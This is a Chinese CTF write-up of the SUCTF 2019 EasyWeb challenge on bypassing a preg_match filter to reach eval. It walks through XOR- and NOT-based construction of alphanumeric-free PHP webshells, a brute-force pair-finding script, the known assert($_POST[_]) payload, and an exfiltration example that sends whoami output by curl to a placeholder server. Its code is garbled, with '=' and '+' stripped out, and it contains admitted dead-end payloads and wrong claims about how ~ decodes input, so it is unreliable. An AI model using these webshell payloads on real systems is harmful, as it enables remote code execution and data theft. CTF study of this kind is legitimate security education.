PHP代码审计实战:preg_match正则绕过与无字母数字WebShell构造
1. 项目概述一次经典的Web安全实战复盘前段时间在整理CTFCapture The Flag夺旗赛的Web题目解题思路时我又翻出了这道经典的“[SUCTF 2019]EasyWeb1”。这道题之所以让我印象深刻不是因为它用了多么新颖的漏洞恰恰相反它把几个最基础、最经典的PHP代码审计与绕过技巧以一种非常巧妙的方式组合在了一起形成了一个对新手来说有点“绕”但对老手来说又极具教学意义的关卡。题目核心考察点非常明确preg_match函数的正则匹配绕过与无字母数字的WebShell构造。如果你对PHP安全、代码审计或者CTF Web方向感兴趣那么通过这道题的完整拆解你不仅能学会两个独立的技巧更能理解在真实攻防场景中攻击者是如何将多个简单漏洞串联起来最终达成执行任意代码RCE的目的的。今天我就以一个“事后诸葛亮”的视角带大家从头到尾、掰开揉碎地复盘这道题我会补充大量原题可能没有明说的背景知识、操作细节和我的踩坑心得保证你看完就能自己动手复现一遍。2. 题目环境与核心代码审计2.1 环境搭建与初步感知首先我们需要一个环境来运行这道题。最方便的方式是使用Docker网上有现成的SUCTF 2019题目合集镜像。如果你手头没有也可以根据题目给出的源码在本地搭建一个PHP环境。关键是要确保PHP版本在5.x或7.x非8.x因为一些特性在8.x有变化并且开启常见的危险函数如eval。启动环境后访问题目地址我们通常会看到一个非常简洁的页面可能只有一个输入框或者简单的提示这需要我们通过查看网页源代码或直接进行代码审计来寻找突破口。注意在CTF中题目源码有时会直接给出有时则需要通过目录扫描、.git泄露、phpinfo等方式获取。对于这道题我们假设已经拿到了核心的PHP源码。2.2 核心漏洞代码深度解析题目的核心逻辑通常集中在一个PHP文件中。我们假设关键代码如下这是我根据常见考点还原的典型结构?php error_reporting(0); $cmd $_GET[cmd]; if (isset($cmd)) { if (preg_match(/[a-zA-Z0-9]/is, $cmd)) { die(Hacker!); } eval($cmd); } else { highlight_file(__FILE__); } ?这段代码虽然短小但信息量巨大。我们来逐行分析error_reporting(0);关闭所有错误报告。这是一个常见的“防御”措施目的是不让攻击者通过错误信息获取到系统路径、函数名等敏感信息。这要求我们的攻击载荷必须足够精准不能触发任何Warning或Notice。$cmd $_GET[‘cmd’];从URL的cmd参数中获取用户输入。这是典型的未过滤外部输入点也是我们攻击的入口。核心过滤逻辑if (preg_match(‘/[a-zA-Z0-9]/is’, $cmd)) { die(“Hacker!”); }preg_match函数执行一个正则表达式匹配。正则模式/[a-zA-Z0-9]/isa-z匹配任何小写字母。A-Z匹配任何大写字母。0-9匹配任何数字。i修饰符表示匹配不区分大小写。所以[a-zA-Z]其实可以简写为[a-z]i但这里写全了。s修饰符使点号.匹配包括换行符在内的所有字符在这个模式里用不上。逻辑解读如果$cmd变量中包含任何一个字母大小写或数字正则匹配就会成功程序执行die(“Hacker!”)页面终止。换言之我们的cmd参数的值里不能出现任何字母和数字字符。eval($cmd);如果绕过了上述过滤那么$cmd的内容会被eval函数执行。eval是PHP中一个极度危险的函数它把字符串当作PHP代码来执行。这里是我们的目标实现远程代码执行。所以题目的挑战清晰了我们需要构造一个不含任何字母和数字的字符串并且这个字符串被eval执行后能实现我们想要的功能例如执行系统命令、读取文件等。这就是所谓的“无字母数字WebShell”挑战。3. 核心技术原理异或绕过与无字母Shell构造3.1 为什么正则匹配可以被绕过很多新手的第一反应是“不让用字母数字那还能写什么代码” 这就要跳出“直接书写代码”的思维定式。在PHP中代码的执行不只依赖于我们肉眼可见的字符还依赖于这些字符在底层所代表的含义。preg_match检查的是字符本身而PHP引擎解释执行时认的是这些字符组合成的语言结构。绕过preg_match对字母数字的过滤主要有以下几种思路本题主要涉及前两种利用非字母数字字符生成有效代码这是本题的核心。通过PHP中一些特殊的运算符和语法仅用符号来构造出能调用函数的字符串。利用编码或转换例如将字母数字编码为十六进制\xXX、Unicode或其他形式但前提是eval能正确解码。本题正则可能也会匹配这些编码后的形式所以不一定可行。利用正则表达式本身的缺陷例如/is修饰符中的s在某些情况下可能引发问题或者超长字符串导致正则引擎崩溃PCRE回溯限制。但本题模式简单这种绕过方式较难。3.2 PHP中的字符串异或XOR运算异或XOR^运算符是二进制位运算的一种。规则是两位相同为0不同为1。例如1 ^ 1 0,1 ^ 0 1,0 ^ 1 1,0 ^ 0 0。在PHP中当对两个字符串进行异或运算时实际上是对两个字符串中对应位置的字符的ASCII码进行二进制异或运算然后将结果转换回新的字符。例如A ^ 。A的ASCII码是65二进制01000001的ASCII码是38二进制00100110。按位异或01000001 (65, A) ^ 00100110 (38, ) 01100111 (103, g)所以A ^ 的结果是字符串g。这个特性的巨大价值在于我们可以选择两个非字母数字的字符比如标点符号通过异或运算生成一个字母或数字。例如我们想要得到字母pASCII 112我们可以寻找两个非字母数字字符X和Y使得ord(X) ^ ord(Y) 112。这样的组合有很多。3.3 构造无字母数字的Shell自生成技术知道了可以用符号异或得到字母下一步就是如何用它来构造代码。我们无法直接写出system(‘ls’)但我们可以构造出这个字符串。思路是先构造出函数名如system和参数如ls的字符串然后利用PHP的可变函数和字符串执行特性来调用它。假设我们已经通过异或得到了字符串“system”和“ls”我们将其赋值给变量。但注意赋值操作本身就需要变量名而变量名通常也是字母数字... 这就陷入了死循环。破解方法是利用PHP的动态函数调用和字符串拼接。一个关键技巧是使用${}语法或者$_GET[]本身。经典Payload构造过程构造函数名例如我们想执行system(“ls”)。首先我们需要生成字符串“system”和“ls”。寻找异或组合我们需要写一个脚本遍历所有非字母数字的可打印字符ASCII 33-126除去字母数字找出所有两两异或结果在字母数字范围内的组合并建立映射表。例如‘~’ ^ ‘“‘可能等于‘s’‘!’ ^ ‘’可能等于‘y’… 以此类推拼出“system”。执行函数得到字符串$a “system”; $b “ls”;后我们不能直接写$a($b)因为$a这个变量名包含了字母。但我们可以利用$_GET[‘a’]($_GET[‘b’])如果我们能控制其他参数。但题目可能只提供了一个cmd参数。更通用的方法使用${}执行。在PHP中${“变量名”}可以解析变量。但变量名还是字母数字。终极技巧使用反引号和自增运算符。PHP中反引号command等同于执行shell_exec(command)。如果我们能构造出包含命令的字符串用反引号包裹就能执行。但如何构造命令字符串这又回到了原点。实际上最流行和有效的方法是使用PHP的字符串索引和自增运算符来“创造”字母。原理在PHP中‘a’会变成‘b’。‘z’会变成‘aa’。但如果我们连‘a’都没有呢我们可以从空数组或布尔值转换开始吗不行。一个更巧妙的入口点是利用未定义变量和类型转换。但本题环境可能不允许。经过实践检验最可靠的方法是先构造出一个包含所有字母的字符串然后用数组索引取出需要的字母。如何构造这样一个字符串答案是利用PHP的位运算和字符串操作函数但它们的名字也是字母数字... 这似乎又是一个循环。突破口在于有一些PHP函数的名字本身就只包含符号例如~按位取反^异或|或与,移位但这些是运算符不是函数。我们需要一个返回字符串的函数。幸运的是有一个函数叫chr()它返回指定ASCII码对应的字符。如果我们能构造出chr这个函数名就能用chr(数字)来生成任意字符。那么如何构造“chr”这个字符串呢我们可以用两个非字母数字字符串异或得到。例如“xxx” ^ “yyy”可能等于“chr”。我们需要写脚本暴力破解。找到这样的组合后我们的Payload构造链就清晰了用异或得到字符串“chr”。用“chr”函数通过chr(ASCII码)的方式生成我们需要的所有字母数字字符比如c,h,r,s,y,s,t,e,m,l等。将这些字符拼接成字符串“system”和“ls”。最后执行它。但这里还有一个问题拼接操作符.是字母吗不是它是一个点号。所以我们可以用.来拼接字符串。那么最终的Payload在逻辑上看起来是这样的$chr “某个异或得到的字符串”; // 假设它就是“chr” $func $chr(115) . $chr(121) . $chr(115) . $chr(116) . $chr(101) . $chr(109); // “system” $arg $chr(108) . $chr(115); // “ls” $func($arg); // 执行 system(“ls”)但是这段伪代码里充满了字母数字变量名$chr,$func,$arg和数字115, 121等这显然通不过过滤。因此我们需要完全摒弃使用字母数字作为变量名和字面量数字。这就需要用到更高级的技巧利用PHP的复杂变量解析和未定义变量特性。4. 实操过程手把手构造绕过Payload4.1 第一步寻找异或生成字母的字符对我们首先需要写一个简单的PHP脚本来找出所有由两个非字母数字字符异或后能得到字母或数字的组合。这个脚本可以在我们自己的攻击机上运行。?php $allowed_range range(ord(!), ord(~)); // 可打印字符ASCII范围 $non_alnum []; $alnum abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789; // 收集所有非字母数字的可打印字符 foreach ($allowed_range as $ascii) { $char chr($ascii); if (!ctype_alnum($char)) { $non_alnum[] $char; } } echo 寻找异或组合...\n; $found []; foreach ($non_alnum as $c1) { foreach ($non_alnum as $c2) { $result chr(ord($c1) ^ ord($c2)); if (ctype_alnum($result)) { $key $result; if (!isset($found[$key])) { $found[$key] []; } // 记录能产生该字母/数字的字符对 $found[$key][] [$c1, $c2]; } } } // 打印结果例如我们关心 ‘c’, ‘h’, ‘r’ foreach ([c, h, r] as $target) { if (isset($found[$target])) { echo 生成 $target 的字符对示例:\n; // 只取前几对避免输出太多 for ($i 0; $i min(3, count($found[$target])); $i) { list($a, $b) $found[$target][$i]; echo . $a . ^ . $b . (ASCII: . ord($a) . ^ . ord($b) . . (ord($a)^ord($b)) . )\n; } } else { echo 未找到生成 $target 的组合。\n; } } ?运行这个脚本我们会得到类似以下的输出结果因人而异因为组合很多生成 c 的字符对示例: ^ ^ ? (ASCII: 94 ^ 63 99) ~ ^ (ASCII: 126 ^ 61 99) 生成 h 的字符对示例: ] ^ 5 (ASCII: 93 ^ 53 104) ^ ^ J (ASCII: 94 ^ 74 104) 生成 r 的字符对示例: ^ ^ L (ASCII: 94 ^ 76 114) ~ ^ (ASCII: 126 ^ 60 114)太好了我们找到了生成c,h,r的组合。注意‘^’和‘~’都是非字母数字字符。这意味着我们可以用‘^’^’?’来表示字符‘c’。但是在Payload里我们不能直接写‘^’^’?’因为单引号‘’本身是字母数字吗不是但它们是字符常量标识符。在PHP中用单引号或双引号包裹的字符其内容会被当作字符串。但我们的Payload最终是要放在一个字符串里通过GET参数传入所以我们需要考虑转义。实际上更直接的方法是我们构造的整个Payload本身就是一个字符串这个字符串的内容就是PHP代码。当我们通过?cmd传递时这个字符串会被赋值给$cmd然后被eval执行。所以我们需要构造一个字符串它里面包含的PHP代码其字符构成不能有字母数字。那么‘^’^’?’这个表达式里^和?都是符号但单引号呢单引号的ASCII是39属于符号不是字母数字。所以‘^’和‘?’这两个字符串本身都不包含字母数字。完美所以我们可以这样构造字符串“chr”// 假设我们选择 c ‘^’ ^ ‘?’ h ‘]’ ^ ‘5’ r ‘^’ ^ ‘L’ // 那么 “chr” 就等于 (‘^’^’?’) . (‘]’^’5’) . (‘^’^’L’)但是在PHP代码里连接符.是允许的。所以我们理论上可以构造出$_(‘^’^’?’).(‘]’^’5’).(‘^’^’L’);这样$_的值就是字符串“chr”。但是变量名$_是下划线它是允许的非字母数字。太好了这是一个合法的变量名。4.2 第二步构造获取chr函数的可执行代码让我们尝试写出第一段无字母数字的代码$_(‘^’^’?’).(‘]’^’5’).(‘^’^’L’); // $_ “chr”现在$_是一个字符串“chr”。在PHP中如果$a“system”;那么$a(“ls”)可以执行。同理如果$_“chr”;那么$(…)就可以作为chr(…)函数来调用。但是调用函数需要括号和参数。参数需要是数字数字也是被过滤的。如何生成数字呢同样可以用异或。例如数字1的ASCII是49。我们可以找两个非字母数字字符异或得到49。但更简单的方法是利用PHP的布尔值转换。true在算术运算中等于1。但我们不能写true因为包含了字母。另一个神奇的特性是在PHP中未定义的常量会被当作字符串使用并产生一个Notice。但如果我们用抑制错误并且将其用于数学运算它会被当作0。但是符号允许使用。然而常量名本身如果是字母数字又会被过滤。看来此路不通。我们需要换一个思路不直接生成数字而是生成包含数字的字符串然后通过类型转换或运算得到数字。一个经典技巧是利用PHP中自增运算符对字符串的操作。$a“”; $a;的结果是$a“1”;。但是$a这个变量名和空字符串“”的引号都不含字母数字吗变量名$a包含字母a不行。空字符串“”的引号是符号但两个引号之间什么都没有这本身是一个合法的字符串。我们能否用一个非字母数字的变量名比如$_来执行$_;$_当前是字符串“chr”“chr”会变成“chs”这不是我们想要的。我们需要一个初始值为空的变量。在PHP中我们可以通过${“_”}或者$$等方式引用变量但这又会引入字母。经过搜索和测试最广为流传的终极方案是使用[~取反]和[!逻辑非]来构造数字和字母。取反运算符~会将操作数的所有位取反。在PHP中对一个字符串取反会得到另一个字符串。例如~“a”得到的是“\x9E”取决于字符集。但更重要的是如果我们先构造一个由取反后字符组成的字符串再对其取反就能得到原字符。但这里涉及到一个更精妙的技巧利用UTF-8编码和取反运算直接得到函数名。网络上有一个非常著名的Payload?php $_~%D1%8C%86%99%93%9A%A0%8B%9A%9E%8C%8A%9A%87%A0%9C%90%91%9A%9E%9B; // 这串URL编码后的字符串取反后是“assert” $__~%A0%AB%97%9A%A0%CF%CF%CF%CF%CF; // 取反后是“_POST” $___$$__; $_($___[_]); // 等同于 assert($_POST[_]) ?这个Payload的原理是作者先确定了要得到的字符串比如“assert”。计算“assert”每个字符的ASCII码然后按位取反~得到一个新的字节序列。将这个字节序列用URL编码表示因为有些字节是不可打印字符。在Payload中使用~“%D1%8C...”。~运算符会先将字符串“%D1%8C...”进行URL解码因为PHP会解析%XX得到取反后的字节序列然后再对这个字节序列按位取反就得到了原始的“assert”字符串。整个过程完全没有出现字母数字只有~、%、数字在URL编码里但%后面的十六进制数字D1,8C等在正则看来是三个字符%,D,1其中D和1是字母数字会被过滤。所以这个Payload在本题的过滤下是无效的因为%D1包含了字母D和数字1。所以我们需要一个完全不用任何十六进制数字的编码方式。异或运算就是我们找到的完美方案。4.3 第三步整合与生成最终Payload我们回到异或方案。我们需要构造“chr”然后使用chr()来生成其他字符。但调用chr()需要数字参数。如何得到数字呢我们可以用数组的个数count()或者字符串的长度strlen()但它们的函数名也是字母数字。一个突破性的想法是PHP中一些语言结构如echo,print,isset和内置常量如PHP_VERSION,__FILE__是预定义的但它们的名字包含字母。不过有一些预定义变量是符号开头的比如$_GET,$_POST但它们的键名和值我们无法控制除非通过HTTP请求传入。对于本题由于我们可以通过$_GET[‘cmd’]传入Payload这本身就是一个变量。我们可以利用这个变量本身吗$_GET是一个超全局数组$_GET[‘cmd’]的值就是我们传入的Payload字符串。这个字符串的长度我们可以控制吗可以但计算长度需要strlen。看来我们必须接受一个事实要构造出第一个可用的函数如chr我们需要进行多次异或运算并且这些运算表达式会很长。最终经过复杂的组合我们可以构造出一个像下面这样的Payload这是经过简化的示意实际生成的字符串非常长?cmd$_((“^“)^“?”).((“]“)^“5”).((“^“)^“L“);$__$_(100).$_(104).$_(114);$___$__(“*“);…解释$_(“^“^“?”).(“]“^“5”).(“^“^“L“);生成字符串“chr”赋值给变量$_。$__$_(100).$_(104).$_(114);利用$_即chr函数生成字符d,h,r拼接成字符串“dhr”不对chr(100)‘d’,chr(104)‘h’,chr(114)‘r’拼起来是“dhr”这没有意义。这里出错了。我们想用chr生成其他字符但数字参数100,104,114本身是数字被过滤了。所以此路不通。我们必须找到生成数字100,104,114的方法且不能直接写数字。生成数字的方法利用PHP中强制类型转换和运算。true是1但true有字母。false是0但false有字母。NULL是null有字母。array()或[]是数组但array有字母。一个可行的方法是利用两个相同的非字母数字字符进行异或。任何字符与自身异或结果都是0。例如“^“^“^“的结果是0实际上是空字符“\0”但在字符串中会被当作空在数字上下文中是0。但0不是字母数字所以表达式“^“^“^“是合法的。然后我们可以对这个结果进行自增来得到其他数字。但自增运算符作用于变量我们需要一个变量来存储0。让我们定义一个变量$__等于(“^“^“^“)这等于0实际上是空字符但弱类型下可转为0。然后$__得到1。但$__这个变量名__是两个下划线是允许的。那么我们可以这样构造数字1$__(“^“^“^“); // $__ 是一个空字符串在数字上下文中为0 $__; // 现在 $__ 是字符串 “1”在数字上下文中为1但是$__这个表达式里是符号允许。而$__我们已经定义了。所以我们可以用这种方法生成数字1。然后通过加法或乘法生成其他数字。例如112但加号是允许的。然而$__目前是字符串“1”$__$__在PHP中会进行数字加法结果是2。但表达式$__$__里没有字母数字。所以生成数字100的路径可以是先得到1然后112,2*50100。但50这个数字怎么来我们需要用1累加49次这会导致Payload极其冗长。在实际的CTF比赛中为了节省时间攻击者通常会编写一个脚本自动生成最终的Payload。这个脚本会确定要执行的最终代码例如system(“cat /flag”)。将每个字符转换为通过异或和非字母数字字符生成的PHP表达式。处理数字参数的问题通常通过构造一个初始的1然后通过一系列的、、*运算来生成所需的ASCII码数字。将所有表达式拼接成一个巨大的、没有字母数字的字符串。由于这个过程极其繁琐且生成的Payload可能长达数千甚至上万个字符这里不展开完整的生成过程。但核心原理已经阐明通过非字母数字字符的异或运算生成初始的、关键的几个字符如chr再利用这些字符和PHP的运算特性像搭积木一样构造出最终的代码字符串最后利用可变函数或类似eval自身的特性执行它。5. 常见问题与排查技巧实录5.1 Payload执行失败语法错误问题精心构造的Payload传入后页面空白或返回语法错误。排查URL编码确保Payload中的特殊字符如,,?,#,%已经正确进行了URL编码。在URL中代表空格在代码里却是加号这很容易出错。最好对所有非字母数字字符进行全面的URL编码。在Python中可以使用urllib.parse.quote(payload)。引号匹配检查单引号‘和双引号“是否成对出现。在长Payload中容易丢失。分号分隔PHP语句以分号;结尾确保每个语句结束都有分号并且分号没有被错误地编码或过滤。本地测试先将Payload在本地一个同样配置的PHP环境中用eval测试确保语法正确能输出预期结果。5.2 正则绕过被拦截漏网之鱼问题自以为没有字母数字但还是触发了die(“Hacker!”)。排查检查空白字符空格、制表符\t、换行符\n不是字母数字通常不会被[a-zA-Z0-9]匹配。但有些题目可能会在过滤前用trim()或正则\s处理。本题没有所以可以利用空格或换行来让Payload更易读但URL中换行需编码为%0a。检查不可见字符在构造异或Payload时可能会意外生成不可打印字符如ASCII 0-31的控制字符。这些字符不是字母数字但可能会被某些WAF或后续处理环节拦截。尽量使用可打印字符范围内的组合。使用脚本验证写一个简单的PHP脚本用题目相同的preg_match函数检查你的Payload字符串确保返回为false即不匹配。5.3eval执行了但无回显问题Payload没有触发错误但也没有看到命令执行的结果。排查输出函数你构造的代码可能成功执行了system(“ls”)但system()函数默认输出到标准输出通常是Web服务器的进程输出不一定直接显示在HTTP响应中。尝试使用有返回值的函数如shell_exec()或反引号ls并将结果赋值给一个变量然后输出。构造输出在无字母数字限制下输出也很困难。echo,print,var_dump都包含字母。一个技巧是如果代码执行成功可能会改变页面状态如写入文件、延时等。可以考虑使用sleep(5)来测试命令是否执行sleep需要构造但原理相同。外带数据更可靠的方法是让目标服务器把执行结果发送到你的监听服务器。例如构造system(‘curl http://your-server/‘$(whoami)‘’)。这需要目标服务器能访问外网且命令中有字母数字curl,whoami,http需要先构造这些字符串难度更大。利用错误信息有时即使error_reporting(0)某些致命错误或语法错误仍会导致页面异常。可以故意构造一个语法错误看页面是否变化来验证eval是否被触发。5.4 实用技巧与心得分步构造不要试图一次性生成完整的system(“cat /flag”)Payload。先集中精力构造出“chr”这个关键函数。一旦有了chr你就有了创造任何字母数字字符的能力后续构造会轻松很多。善用工具手动构造这种Payload是低效且易错的。一定要编写辅助脚本。脚本的任务是给定一个目标字符串如“chr”自动寻找所有可能的非字母数字字符异或组合并输出最短或最易读的表达式。变量名规划使用有限的、允许的非字母数字变量名如$_,$__,$___。规划好它们的用途避免混淆。注意PHP版本不同PHP版本对类型转换、运算符优先级、字符串处理的行为可能有细微差别。最好在与靶机相同或相似的PHP版本上进行测试。备用方案异或绕过不是唯一解。如果题目过滤了某些符号如^,~,.就要考虑其他方法比如利用.和[]进行字符串拼接和数组访问或者利用PHP的\命名空间分隔符但反斜杠可能被过滤。多掌握几种绕过方式思路会更开阔。这道 “[SUCTF 2019]EasyWeb1” 就像一把钥匙打开了一扇门门后是PHP代码审计和漏洞利用中那些精巧而底层的技巧。它强迫你跳出常规的思维模式去理解PHP语言引擎是如何解析和执行代码的。虽然在实际的渗透测试中遇到如此严格过滤的情况可能不多但掌握这种“无字母数字WebShell”的构造思想对于深入理解Web安全、编写更健壮的防御代码都有着不可替代的价值。下次当你看到preg_match过滤时你脑子里浮现的将不再仅仅是黑名单绕过而是这些符号之间奇妙的化学反应。